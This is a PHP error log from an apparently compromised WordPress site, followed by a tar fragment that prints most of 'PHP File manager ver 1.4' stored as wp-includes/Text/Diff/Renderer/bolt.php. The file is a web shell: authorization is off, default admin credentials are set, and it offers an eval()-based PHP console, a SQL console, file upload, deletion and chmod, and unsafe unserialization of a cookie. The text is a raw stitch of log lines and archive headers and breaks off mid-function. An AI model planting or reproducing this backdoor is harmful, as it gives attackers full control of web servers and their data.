[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:23 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:48 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:54 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:08 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:10 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:30 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:59 UTC] PHP Warning:  fileperms(): stat failed for /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/error_log.tar.gz in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 134
[25-Jun-2026 19:38:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:04 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
                                                                                                                                                                                                                                                                                                                                                                                                                   bolt.php.tar                                                                                        0000644                 00000236000 15217301621 0007001 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php                                 0000644                 00000232745 15217274105 0021423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
